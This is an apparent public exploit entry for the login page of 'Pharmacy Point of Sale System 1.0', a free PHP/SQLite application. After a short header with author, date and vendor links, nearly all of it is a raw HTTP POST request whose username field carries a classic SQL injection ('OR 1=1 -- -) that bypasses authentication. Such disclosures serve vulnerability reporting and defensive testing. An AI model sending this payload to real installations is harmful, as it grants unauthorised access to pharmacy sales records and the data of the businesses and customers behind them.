Pharmacy Point of Sale System 1.0 - SQLi Authentication BYpass

# Exploit Title: Pharmacy Point of Sale System 1.0 - SQLi Authentication Bypass
# Date: 23.09.2021
# Exploit Author: Janik Wehrli
# Vendor Homepage: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pharmacy.zip
# Version: 1.0
# Tested on: Kali Linux, Windows 10

# Pharmacy Point of Sale System v1.0 Login can be bypassed with a simple SQLi


POST /pharmacy/Actions.php?a=login HTTP/1.1
Host: 192.168.209.170
Content-Length: 38
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.209.170
Referer: http://192.168.209.170/pharmacy/login.php
Accept-Encoding: gzip, deflate
Accept-Language: de-CH,de-DE;q=0.9,de;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: PHPSESSID=c5mtnqpcavhfgsambtnh4uklag
Connection: close

username='OR+1%3D1+--+-&password=PWNED